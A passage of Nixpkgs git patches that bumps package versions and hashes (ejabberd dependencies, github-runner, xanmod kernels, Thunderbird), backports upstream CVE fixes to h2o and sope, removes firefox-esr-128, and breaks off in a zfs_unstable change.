       name = "p1_utils";
-      version = "1.0.26";
+      version = "1.0.28";
       src = fetchHex {
         pkg = "p1_utils";
-        version = "1.0.27";
-        sha256 = "sha256-8a+UKwpivPoNWfvjBnm+T/614kGgxJ7V8JTbL1uA9eA=";
+        version = "1.0.28";
+        sha256 = "sha256-xJvUS8SkCtmWaRr4Jt1+CqVtTQzXMIFxkKH4TRp/ADM=";
       };
       beamDeps = [ ];
     };
     p1_pgsql = builder {
       name = "p1_pgsql";
-      version = "1.1.32";
+      version = "1.1.34";
       src = fetchHex {
         pkg = "p1_pgsql";
-        version = "1.1.32";
-        sha256 = "sha256-JosB6PTrdcIRoxSVolwoFcVJrszi8N8aFhxuCizeBh4=";
+        version = "1.1.34";
+        sha256 = "sha256-yw4y4IbJw10OPpZuOGPYMnN8e00rXxRzFqRlwLJD6n8=";
       };
       beamDeps = [ xmpp ];
     };
@@ -154,11 +154,11 @@ let
     };
     p1_acme = builder {
       name = "p1_acme";
-      version = "1.0.25";
+      version = "1.0.27";
       src = fetchHex {
         pkg = "p1_acme";
-        version = "1.0.25";
-        sha256 = "sha256-p7VbR0ld20+YoV5lRR7DrUP0Y3uVXHTNaV2Y5qZF0Iw=";
+        version = "1.0.27";
+        sha256 = "sha256-qmS2qIVrGiKaEovqJ2Md4uGiIZg146gz+hETcUOo13M=";
       };
       beamDeps = [
         base64url
@@ -170,11 +170,11 @@ let
     };
     mqtree = builder {
       name = "mqtree";
-      version = "1.0.17";
+      version = "1.0.19";
       src = fetchHex {
         pkg = "mqtree";
-        version = "1.0.17";
-        sha256 = "sha256-X+i3z4+8R4PQ/OuUZUrCu/MkKljNA5fSSd7YrgIb4qM=";
+        version = "1.0.19";
+        sha256 = "sha256-yBBlcVxJoYgoEvgKWuLYQugN0/LRMFMN81mQJIv4zjw=";
       };
       beamDeps = [ p1_utils ];
     };
@@ -210,51 +210,51 @@ let
     };
     fast_yaml = builder {
       name = "fast_yaml";
-      version = "1.0.37";
+      version = "1.0.39";
       src = fetchHex {
         pkg = "fast_yaml";
-        version = "1.0.37";
-        sha256 = "sha256-jehochv34hckFPfTFI7eDzySK0lkVc1iXdXEQpUVp2k=";
+        version = "1.0.39";
+        sha256 = "sha256-JMe5q54rkmnWTkX0oqEoCWatsX0x5jNlz9PuJ3+wp40=";
       };
       beamDeps = [ p1_utils ];
     };
     fast_xml = builder {
       name = "fast_xml";
-      version = "1.1.55";
+      version = "1.1.57";
       src = fetchHex {
         pkg = "fast_xml";
-        version = "1.1.55";
-        sha256 = "sha256-g/PiOngO1fVnzexzlT8GyVuDjXCdv6hrWamKjSPJn4U=";
+        version = "1.1.57";
+        sha256 = "sha256-7sNOkK2sr+Rn1d2rY1oBTe1zuYtAYVVLLRlyFz2SnDk=";
       };
       beamDeps = [ p1_utils ];
     };
     fast_tls = builder {
       name = "fast_tls";
-      version = "1.1.22";
+      version = "1.1.24";
       src = fetchHex {
         pkg = "fast_tls";
-        version = "1.1.22";
-        sha256 = "sha256-5ld5rvt6sVxHVSMP74B35ofSDMWjmEpZdPn2V+jiSFs=";
+        version = "1.1.24";
+        sha256 = "sha256-//iK2jn60QRkVnoWBkP0Up70rtSdFWkZ9dH0FbbNu7Y=";
       };
       beamDeps = [ p1_utils ];
     };
     ezlib = builder {
       name = "ezlib";
-      version = "1.0.13";
+      version = "1.0.15";
       src = fetchHex {
         pkg = "ezlib";
-        version = "1.0.13";
-        sha256 = "sha256-nuYqs/jtVaD9EalWn8uORYaD+VV1QXJyGSsGnwkqv7s=";
+        version = "1.0.15";
+        sha256 = "sha256-3RS6bBJSGvXP5pI+c+PVRfSgiX3Ga/q1KH+7euOWLqs=";
       };
       beamDeps = [ p1_utils ];
     };
     esip = builder {
       name = "esip";
-      version = "1.0.57";
+      version = "1.0.58";
       src = fetchHex {
         pkg = "esip";
-        version = "1.0.57";
-        sha256 = "sha256-GcNX4YF7HgR5LvNZv5AEAPPm0OWt6Sn9cviOqbRK8u0=";
+        version = "1.0.58";
+        sha256 = "sha256-4PQgSl7eD6fQDaPMQvZECqNiusf69Tb3HqKfo/D6fHU=";
       };
       beamDeps = [
         fast_tls
@@ -284,21 +284,21 @@ let
     };
     eimp = builder {
       name = "eimp";
-      version = "1.0.24";
+      version = "1.0.26";
       src = fetchHex {
         pkg = "eimp";
-        version = "1.0.24";
-        sha256 = "sha256-fWFDLrikVlnAvkdfROde62UXQ6pkod6K33hc2tgZYa0=";
+        version = "1.0.26";
+        sha256 = "sha256-2W1OhXK538QPJx5H8MsdiEk3O8mKISIyaHgXZe1SBEw=";
       };
       beamDeps = [ p1_utils ];
     };
     cache_tab = builder {
       name = "cache_tab";
-      version = "1.0.31";
+      version = "1.0.33";
       src = fetchHex {
         pkg = "cache_tab";
-        version = "1.0.31";
-        sha256 = "sha256-hYK2CkoJskfvhjVbqeB/zp4R7cA0WndckXH5cccrY1E=";
+        version = "1.0.33";
+        sha256 = "sha256-QlgAnrBQsiqr4MhI4jC7pYQBpolcWML/dN+2NePDWQA=";
       };
       beamDeps = [ p1_utils ];
     };

From 6f999f457b0f57bdbb636ae09c0ebdfcab59c499 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=C2=B7=F0=90=91=91=F0=90=91=B4=F0=90=91=95=F0=90=91=91?=
 =?UTF-8?q?=F0=90=91=A9=F0=90=91=A4?= <toastal@posteo.net>
Date: Sun, 20 Jul 2025 20:19:00 +0700
Subject: [PATCH 3851/4511] ejabberd: add toastal to maintainers

(cherry picked from commit c9de66f3d72ffc71b9c267949a75616e0dd0a848)
---
 pkgs/by-name/ej/ejabberd/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ej/ejabberd/package.nix b/pkgs/by-name/ej/ejabberd/package.nix
index 9615357e5e9f..18cac7c484c6 100644
--- a/pkgs/by-name/ej/ejabberd/package.nix
+++ b/pkgs/by-name/ej/ejabberd/package.nix
@@ -224,6 +224,7 @@ stdenv.mkDerivation (finalAttrs: {
       sander
       abbradar
       chuangzhu
+      toastal
     ];
   };
 })

From c552d68f510a569699f36b3b081baa62add3c033 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 22 Aug 2025 10:35:52 -0400
Subject: [PATCH 3852/4511] ejabberd: 25.07 -> 25.08

https://github.com/processone/ejabberd/releases/tag/25.08
(cherry picked from commit 04f6885f1063fb165ac8518c6852b030287f1c2a)
---
 pkgs/by-name/ej/ejabberd/package.nix    |  4 +--
 pkgs/by-name/ej/ejabberd/rebar-deps.nix | 42 ++++++++++++-------------
 2 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/pkgs/by-name/ej/ejabberd/package.nix b/pkgs/by-name/ej/ejabberd/package.nix
index 18cac7c484c6..d8688bda27ca 100644
--- a/pkgs/by-name/ej/ejabberd/package.nix
+++ b/pkgs/by-name/ej/ejabberd/package.nix
@@ -141,7 +141,7 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "ejabberd";
-  version = "25.07";
+  version = "25.08";
 
   nativeBuildInputs = [
     makeWrapper
@@ -171,7 +171,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "processone";
     repo = "ejabberd";
     tag = finalAttrs.version;
-    hash = "sha256-DDvxmRennd9tAC9LqV8eAAzcF+kZemvgsOviWD9CHlM=";
+    hash = "sha256-nipFr4ezo2prlpLfAW8iu8HAG8nhkIXXiAbsoM7QKTM=";
   };
 
   passthru.tests = {
diff --git a/pkgs/by-name/ej/ejabberd/rebar-deps.nix b/pkgs/by-name/ej/ejabberd/rebar-deps.nix
index 0742da7d2665..5f102ca8151a 100644
--- a/pkgs/by-name/ej/ejabberd/rebar-deps.nix
+++ b/pkgs/by-name/ej/ejabberd/rebar-deps.nix
@@ -44,21 +44,21 @@ let
     };
     yconf = builder {
       name = "yconf";
-      version = "1.0.20";
+      version = "1.0.21";
       src = fetchHex {
         pkg = "yconf";
-        version = "1.0.20";
-        sha256 = "sha256-8rPXMHVvwuSv0cCwq277mfDkSJUtJdwV7XWsFjW/iII=";
+        version = "1.0.21";
+        sha256 = "sha256-xSSl8f2Gh12FtGnMLjaMIE+XzKHDkYc24h9QAcAdCWw=";
       };
       beamDeps = [ fast_yaml ];
     };
     xmpp = builder {
       name = "xmpp";
-      version = "1.11.0";
+      version = "1.11.1";
       src = fetchHex {
         pkg = "xmpp";
-        version = "1.11.0";
-        sha256 = "sha256-NKGR1qO3To8KQjRvhZ4sq1s6Kuflwo85Lly1ZhLnzoU=";
+        version = "1.11.1";
+        sha256 = "sha256-pckz35BKs87BVCXaM05BDOhOw657ge/gaeXbNop7NxY=";
       };
       beamDeps = [
         ezlib
@@ -71,11 +71,11 @@ let
     };
     stun = builder {
       name = "stun";
-      version = "1.2.20";
+      version = "1.2.21";
       src = fetchHex {
         pkg = "stun";
-        version = "1.2.20";
-        sha256 = "sha256-eeSfgmpPfVIsk5q2M9k1x519ayKeTLfgX2LzO1AXdBQ=";
+        version = "1.2.21";
+        sha256 = "sha256-PX/o77nQWyQKaqmmv4uLe/8tgCiV0XBEPFiJh9weEtk=";
       };
       beamDeps = [
         fast_tls
@@ -124,11 +124,11 @@ let
     };
     p1_pgsql = builder {
       name = "p1_pgsql";
-      version = "1.1.34";
+      version = "1.1.35";
       src = fetchHex {
         pkg = "p1_pgsql";
-        version = "1.1.34";
-        sha256 = "sha256-yw4y4IbJw10OPpZuOGPYMnN8e00rXxRzFqRlwLJD6n8=";
+        version = "1.1.35";
+        sha256 = "sha256-6ZWURGxBHGYGlnlbBiM29cS9gARR2PYgu01M4wTiVcI=";
       };
       beamDeps = [ xmpp ];
     };
@@ -154,11 +154,11 @@ let
     };
     p1_acme = builder {
       name = "p1_acme";
-      version = "1.0.27";
+      version = "1.0.28";
       src = fetchHex {
         pkg = "p1_acme";
-        version = "1.0.27";
-        sha256 = "sha256-qmS2qIVrGiKaEovqJ2Md4uGiIZg146gz+hETcUOo13M=";
+        version = "1.0.28";
+        sha256 = "sha256-zmhpht4/nV/Sha/odSPLRTKaNJxsa+eswe2RZyXUZCM=";
       };
       beamDeps = [
         base64url
@@ -230,11 +230,11 @@ let
     };
     fast_tls = builder {
       name = "fast_tls";
-      version = "1.1.24";
+      version = "1.1.25";
       src = fetchHex {
         pkg = "fast_tls";
-        version = "1.1.24";
-        sha256 = "sha256-//iK2jn60QRkVnoWBkP0Up70rtSdFWkZ9dH0FbbNu7Y=";
+        version = "1.1.25";
+        sha256 = "sha256-WeGDtXQOZw4CuKpr5nO153eeX+W/zGef4tSZPRlJqCE=";
       };
       beamDeps = [ p1_utils ];
     };
@@ -250,11 +250,11 @@ let
     };
     esip = builder {
       name = "esip";
-      version = "1.0.58";
+      version = "1.0.59";
       src = fetchHex {
         pkg = "esip";
-        version = "1.0.58";
-        sha256 = "sha256-4PQgSl7eD6fQDaPMQvZECqNiusf69Tb3HqKfo/D6fHU=";
+        version = "1.0.59";
+        sha256 = "sha256-C98uPDSdwLFE8XMVAynmdcalGsRz16Cy42IkX6rT++Y=";
       };
       beamDeps = [
         fast_tls

From a83747655fdec633c110aea84347675fd4f1fe86 Mon Sep 17 00:00:00 2001
From: "R. RyanTM" <ryantm-bot@ryantm.com>
Date: Sat, 23 Aug 2025 17:32:39 +1000
Subject: [PATCH 3853/4511] github-runner: 2.327.1 -> 2.328.0 (#435227)

(cherry picked from commit 19a760df2d40f0f41baa8fa899f3fc2342c5ab0d)
---
 pkgs/by-name/gi/github-runner/deps.json   | 42 +++++++++++------------
 pkgs/by-name/gi/github-runner/package.nix |  4 +--
 2 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/pkgs/by-name/gi/github-runner/deps.json b/pkgs/by-name/gi/github-runner/deps.json
index cc73b54f8081..6146f1957680 100644
--- a/pkgs/by-name/gi/github-runner/deps.json
+++ b/pkgs/by-name/gi/github-runner/deps.json
@@ -6,13 +6,13 @@
   },
   {
     "pname": "Azure.Storage.Blobs",
-    "version": "12.24.0",
-    "hash": "sha256-PcI3Jf9VrDfkr0YfoR89us45HE1DE8g5J3ZpZ8vZkLs="
+    "version": "12.25.0",
+    "hash": "sha256-SjIwM1sIBd4I9ShAeaIAfPUzc3K7tbodW6y1vNAD+4U="
   },
   {
     "pname": "Azure.Storage.Common",
-    "version": "12.23.0",
-    "hash": "sha256-DAMzFlls76hH5jtXtU89SvbQWhhELaQq+PfG4SK7W+Q="
+    "version": "12.24.0",
+    "hash": "sha256-ZjeMv8xaZXkmb1OgZlN9uJelhAcU7KhO/FK02qiz/zA="
   },
   {
     "pname": "Castle.Core",
@@ -31,13 +31,13 @@
   },
   {
     "pname": "Microsoft.CodeCoverage",
-    "version": "17.13.0",
-    "hash": "sha256-GKrIxeyQo5Az1mztfQgea1kGtJwonnNOrXK/0ULfu8o="
+    "version": "17.14.1",
+    "hash": "sha256-f8QytG8GvRoP47rO2KEmnDLxIpyesaq26TFjDdW40Gs="
   },
   {
     "pname": "Microsoft.NET.Test.Sdk",
-    "version": "17.13.0",
-    "hash": "sha256-sc2wvyV8cGm1FrNP2GGHEI584RCvRPu15erYCsgw5QY="
+    "version": "17.14.1",
+    "hash": "sha256-mZUzDFvFp7x1nKrcnRd0hhbNu5g8EQYt8SKnRgdhT/A="
   },
   {
     "pname": "Microsoft.NETCore.Platforms",
@@ -96,13 +96,13 @@
   },
   {
     "pname": "Microsoft.TestPlatform.ObjectModel",
-    "version": "17.13.0",
-    "hash": "sha256-6S0fjfj8vA+h6dJVNwLi6oZhYDO/I/6hBZaq2VTW+Uk="
+    "version": "17.14.1",
+    "hash": "sha256-QMf6O+w0IT+16Mrzo7wn+N20f3L1/mDhs/qjmEo1rYs="
   },
   {
     "pname": "Microsoft.TestPlatform.TestHost",
-    "version": "17.13.0",
-    "hash": "sha256-L/CJzou7dhmShUgXq3aXL3CaLTJll17Q+JY2DBdUUpo="
+    "version": "17.14.1",
+    "hash": "sha256-1cxHWcvHRD7orQ3EEEPPxVGEkTpxom1/zoICC9SInJs="
   },
   {
     "pname": "Microsoft.Win32.Primitives",
@@ -134,11 +134,6 @@
     "version": "1.5.0-rc2-24027",
     "hash": "sha256-lddIyqj8Y3IexOm5I1hsE5w1/dOoOaNDHoUPI1vkX80="
   },
-  {
-    "pname": "Newtonsoft.Json",
-    "version": "13.0.1",
-    "hash": "sha256-K2tSVW4n4beRPzPu3rlVaBEMdGvWSv/3Q1fxaDh4Mjo="
-  },
   {
     "pname": "Newtonsoft.Json",
     "version": "13.0.3",
@@ -449,6 +444,11 @@
     "version": "4.3.0",
     "hash": "sha256-KMY5DfJnDeIsa13DpqvyN8NkReZEMAFnlmNglVoFIXI="
   },
+  {
+    "pname": "System.Collections.Immutable",
+    "version": "8.0.0",
+    "hash": "sha256-F7OVjKNwpqbUh8lTidbqJWYi476nsq9n+6k0+QVRo3w="
+  },
   {
     "pname": "System.Console",
     "version": "4.0.0-rc2-24027",
@@ -576,8 +576,8 @@
   },
   {
     "pname": "System.IO.Hashing",
-    "version": "6.0.0",
-    "hash": "sha256-gSxLJ/ujWthLknylguRv40mwMl/qNcqnFI9SNjQY6lE="
+    "version": "8.0.0",
+    "hash": "sha256-szOGt0TNBo6dEdC3gf6H+e9YW3Nw0woa6UnCGGGK5cE="
   },
   {
     "pname": "System.Linq",
@@ -661,8 +661,8 @@
   },
   {
     "pname": "System.Reflection.Metadata",
-    "version": "1.6.0",
-    "hash": "sha256-JJfgaPav7UfEh4yRAQdGhLZF1brr0tUWPl6qmfNWq/E="
+    "version": "8.0.0",
+    "hash": "sha256-dQGC30JauIDWNWXMrSNOJncVa1umR1sijazYwUDdSIE="
   },
   {
     "pname": "System.Reflection.Primitives",
diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index 2ed18149bcd3..fa8f653bbb0e 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -25,13 +25,13 @@ assert builtins.all (x: builtins.elem x [ "node20" ]) nodeRuntimes;
 
 buildDotnetModule (finalAttrs: {
   pname = "github-runner";
-  version = "2.327.1";
+  version = "2.328.0";
 
   src = fetchFromGitHub {
     owner = "actions";
     repo = "runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-wTbhuBg9eIq1wGifeORTUvp9+yWDHb42J88o2Fmnrfo=";
+    hash = "sha256-3Q2bscLKdUBPx+5X0qxwtcy3CU6N/wE8yO1CcATSyBQ=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git-revision

From b1fe6da0be086f16a130ed7fe424df9220c65d61 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 23 Aug 2025 10:31:48 +0200
Subject: [PATCH 3854/4511] h2o: apply patch for CVE-2025-8671

Given upstream does not make things easy to determine
if there are some breaking changes or not, only the
security fix is backported instead of the whole upgrade (#433400).
---
 pkgs/by-name/h2/h2o/package.nix | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/pkgs/by-name/h2/h2o/package.nix b/pkgs/by-name/h2/h2o/package.nix
index 5f90ecff51f9..76b485b83d57 100644
--- a/pkgs/by-name/h2/h2o/package.nix
+++ b/pkgs/by-name/h2/h2o/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch,
   pkg-config,
   cmake,
   makeWrapper,
@@ -32,6 +33,16 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "sha256-sfOkyEhlLGmXjYqRoI/8pD6/NBY7q6K9y2vS7qwJmrw=";
   };
 
+  patches = [
+    (fetchpatch {
+      # https://github.com/h2o/h2o/security/advisories/GHSA-mrjm-qq9m-9mjq
+      # https://kb.cert.org/vuls/id/767506
+      name = "CVE-2025-8671.patch";
+      url = "https://github.com/h2o/h2o/commit/579ecfaca155d1f9f12bfd0cff6086dcda4b9692.patch";
+      hash = "sha256-bNnhx5RGBw6SmKmhlACHKPsnVUPzQUqHsunPdiayzv0=";
+    })
+  ];
+
   outputs = [
     "out"
     "man"

From b5ba2a95ccb0a451d47a7b18c3d40d9695415c47 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 23 Aug 2025 08:15:10 +0200
Subject: [PATCH 3855/4511] linux_xanmod: 6.12.42 -> 6.12.43

(cherry picked from commit af2826cf7d00a21c078ff5c8718e4ae05ed8f97c)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index f81265b76aac..dd1c9a1f12b9 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.42";
-      hash = "sha256-q/a6ik5kKRKOcbmGxGBdCDW3dsgIDf/7tvEpcGjDrHI=";
+      version = "6.12.43";
+      hash = "sha256-Jc3VKpUaIc1nBbbCZ/jAx/kteuQBQBO6TEPlaNq8Jrk=";
     };
     # ./update-xanmod.sh main
     main = {

From e723c103469ecd91b1dc5b975121750711137f71 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 23 Aug 2025 08:17:01 +0200
Subject: [PATCH 3856/4511] linux_xanmod_latest: 6.15.10 -> 6.15.11

(cherry picked from commit 792d8f00f4d116878f8b5956aabd3e026b4527c0)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index dd1c9a1f12b9..37f23057c66f 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -20,8 +20,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.15.10";
-      hash = "sha256-6ed820JXJr7QqOX3IiF50SFrYeVrx0xCh73zrlmMy5I=";
+      version = "6.15.11";
+      hash = "sha256-251rQqXkzLzmgl1uqN3mvXlkIbH+B25C30hMJ6v4tBE=";
     };
   };
 

From 7cbe49d2495f56682f3d6c264a8db40eb2672f6b Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Sat, 23 Aug 2025 12:46:47 +0200
Subject: [PATCH 3857/4511] sope: apply patch for CVE-2025-53603

---
 pkgs/by-name/so/sope/package.nix | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/so/sope/package.nix b/pkgs/by-name/so/sope/package.nix
index 9c4b359b952b..be4a78b7d387 100644
--- a/pkgs/by-name/so/sope/package.nix
+++ b/pkgs/by-name/so/sope/package.nix
@@ -2,6 +2,7 @@
   lib,
   clangStdenv,
   fetchFromGitHub,
+  fetchpatch,
   libxml2,
   openssl,
   openldap,
@@ -23,6 +24,14 @@ clangStdenv.mkDerivation rec {
     hash = "sha256-6vec2ZgpK5jcKr3c2SLn6fLAun56MDjupWtR6dMdjag=";
   };
 
+  patches = [
+    (fetchpatch {
+      name = "CVE-2025-53603.patch";
+      url = "https://github.com/Alinto/sope/commit/e954ab0cd254dc1837af690329b04504410cbe63.patch";
+      hash = "sha256-F/dexphHH8S90njmTDvm+NZChbKekv78tUgB+VFOsSY=";
+    })
+  ];
+
   buildInputs = [
     gnustep-base
     libxml2
@@ -74,6 +83,5 @@ clangStdenv.mkDerivation rec {
     homepage = "https://github.com/inverse-inc/sope";
     platforms = lib.platforms.linux;
     maintainers = with lib.maintainers; [ jceb ];
-    knownVulnerabilities = [ "CVE-2025-53603" ];
   };
 }

From 31bb42981662d7e9649776eaa8adead9b066b6c7 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 21 Aug 2025 00:42:17 +0200
Subject: [PATCH 3858/4511] thunderbird-unwrapped: 141.0 -> 142.0

https://www.thunderbird.net/en-US/thunderbird/142.0/releasenotes/
https://www.mozilla.org/en-US/security/advisories/mfsa2025-70/

Fixes: CVE-2025-9179, CVE-2025-9180, CVE-2025-9181, CVE-2025-9182,
       CVE-2025-9187, CVE-2025-9184, CVE-2025-9185
(cherry picked from commit 4baea46864423ed94901f8d31571f03b38c6aafe)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index eadf28ea4291..71f7c570700f 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -94,8 +94,8 @@ rec {
   thunderbird = thunderbird-latest;
 
   thunderbird-latest = common {
-    version = "141.0";
-    sha512 = "cd747c0831532f90685975567102d1bdb90a780e21209fe4b7bddf2d84ac88576766706e95e22043a30a8a89b6d3daffb56a68c3ccc4a300b8236b20d4fca675";
+    version = "142.0";
+    sha512 = "9a871846fc395c69688310dbf4a4569b75d3b2952a34ba1f7dc9ef5a60a34bd740087b4abb2a1a4d522dfa9d6640f2f4fcc9972a2b72160d1ed3e0df71c2901c";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-latest";

From db4374534894ded7ab6355941716e7c9ea1577fc Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 21 Aug 2025 01:00:35 +0200
Subject: [PATCH 3859/4511] firefox-esr-128-unwrapped: drop

(cherry picked from commit 5cdd66b7df72e263b3e57974fb6bdd7e423c8588)
---
 nixos/tests/all-tests.nix                     |  4 --
 .../firefox/packages/firefox-esr-128.nix      | 40 -------------------
 pkgs/top-level/aliases.nix                    |  2 +
 pkgs/top-level/all-packages.nix               | 17 --------
 4 files changed, 2 insertions(+), 61 deletions(-)
 delete mode 100644 pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index b339154ad8a1..a7e6f9cf9036 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -488,10 +488,6 @@ in
     imports = [ ./firefox.nix ];
     _module.args.firefoxPackage = pkgs.firefox-esr;
   };
-  firefox-esr-128 = runTest {
-    imports = [ ./firefox.nix ];
-    _module.args.firefoxPackage = pkgs.firefox-esr-128;
-  };
   firefox-esr-140 = runTest {
     imports = [ ./firefox.nix ];
     _module.args.firefoxPackage = pkgs.firefox-esr-140;
diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
deleted file mode 100644
index 96719a7734ed..000000000000
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-128.nix
+++ /dev/null
@@ -1,40 +0,0 @@
-{
-  stdenv,
-  lib,
-  callPackage,
-  fetchurl,
-  nixosTests,
-  buildMozillaMach,
-}:
-
-buildMozillaMach rec {
-  pname = "firefox";
-  version = "128.13.0esr";
-  applicationName = "Firefox ESR";
-  src = fetchurl {
-    url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "9e6f3af535e0904219bcac947d458789cc43cbfaf476ac287328323662391eaaadeff57b244599acf3626a2fadc0bc41b70d07e33ca6af4412006ad01ceff034";
-  };
-
-  meta = {
-    changelog = "https://www.mozilla.org/en-US/firefox/${lib.removeSuffix "esr" version}/releasenotes/";
-    description = "Web browser built from Firefox source tree";
-    homepage = "http://www.mozilla.com/en-US/firefox/";
-    maintainers = with lib.maintainers; [ hexa ];
-    platforms = lib.platforms.unix;
-    broken = stdenv.buildPlatform.is32bit;
-    # since Firefox 60, build on 32-bit platforms fails with "out of memory".
-    # not in `badPlatforms` because cross-compilation on 64-bit machine might work.
-    maxSilent = 14400; # 4h, double the default of 7200s (c.f. #129212, #129115)
-    license = lib.licenses.mpl20;
-    mainProgram = "firefox";
-  };
-  tests = {
-    inherit (nixosTests) firefox-esr-128;
-  };
-  updateScript = callPackage ../update.nix {
-    attrPath = "firefox-esr-128-unwrapped";
-    versionPrefix = "128";
-    versionSuffix = "esr";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index da7ca3946cb1..63cc7bf45a80 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -654,6 +654,8 @@ mapAliases {
   firefox-devedition-bin = lib.warnOnInstantiate "`firefox-devedition-bin` is removed.  Please use `firefox-devedition` or `firefox-bin` instead." firefox-devedition;
   firefox-esr-115 = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr` or `firefox-esr-128` instead.";
   firefox-esr-115-unwrapped = throw "The Firefox 115 ESR series has reached its end of life. Upgrade to `firefox-esr-unwrapped` or `firefox-esr-128-unwrapped` instead.";
+  firefox-esr-128 = throw "The Firefox 128 ESR series has reached its end of life. Upgrade to `firefox-esr` or `firefox-esr-140` instead.";
+  firefox-esr-128-unwrapped = throw "The Firefox 128 ESR series has reached its end of life. Upgrade to `firefox-esr-unwrapped` or `firefox-esr-140-unwrapped` instead.";
   firefox-wayland = firefox; # Added 2022-11-15
   firmwareLinuxNonfree = linux-firmware; # Added 2022-01-09
   fishfight = jumpy; # Added 2022-08-03
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 7e51b6289ce9..24a187dc4b9f 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -12478,18 +12478,6 @@ with pkgs;
           buildMozillaMach
           ;
       };
-  firefox-esr-128-unwrapped =
-    import ../applications/networking/browsers/firefox/packages/firefox-esr-128.nix
-      {
-        inherit
-          stdenv
-          lib
-          callPackage
-          fetchurl
-          nixosTests
-          buildMozillaMach
-          ;
-      };
   firefox-esr-140-unwrapped =
     import ../applications/networking/browsers/firefox/packages/firefox-esr-140.nix
       {
@@ -12510,11 +12498,6 @@ with pkgs;
 
   firefox-mobile = callPackage ../applications/networking/browsers/firefox/mobile-config.nix { };
 
-  firefox-esr-128 = wrapFirefox firefox-esr-128-unwrapped {
-    nameSuffix = "-esr";
-    wmClass = "firefox-esr";
-    icon = "firefox-esr";
-  };
   firefox-esr-140 = wrapFirefox firefox-esr-140-unwrapped {
     nameSuffix = "-esr";
     wmClass = "firefox-esr";

From 7c96041211ccb27f0ae1047368184320b7095d00 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 22 Aug 2025 21:25:22 -0400
Subject: [PATCH 3860/4511] zfs_unstable: 2.3.3 -> 2.4.0-rc1

https://github.com/openzfs/zfs/releases/tag/zfs-2.4.0-rc1
(cherry picked from commit 235059aa6abf7566ac816ba943483e4d290d6c53)
---
 pkgs/os-specific/linux/zfs/unstable.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/os-specific/linux/zfs/unstable.nix b/pkgs/os-specific/linux/zfs/unstable.nix
index 5bd1412d6c32..3210131343ac 100644
--- a/pkgs/os-specific/linux/zfs/unstable.nix
+++ b/pkgs/os-specific/linux/zfs/unstable.nix
@@ -9,20 +9,20 @@ callPackage ./generic.nix args {
   # this attribute is the correct one for this package.
   kernelModuleAttribute = "zfs_unstable";
   # check the release notes for compatible kernels
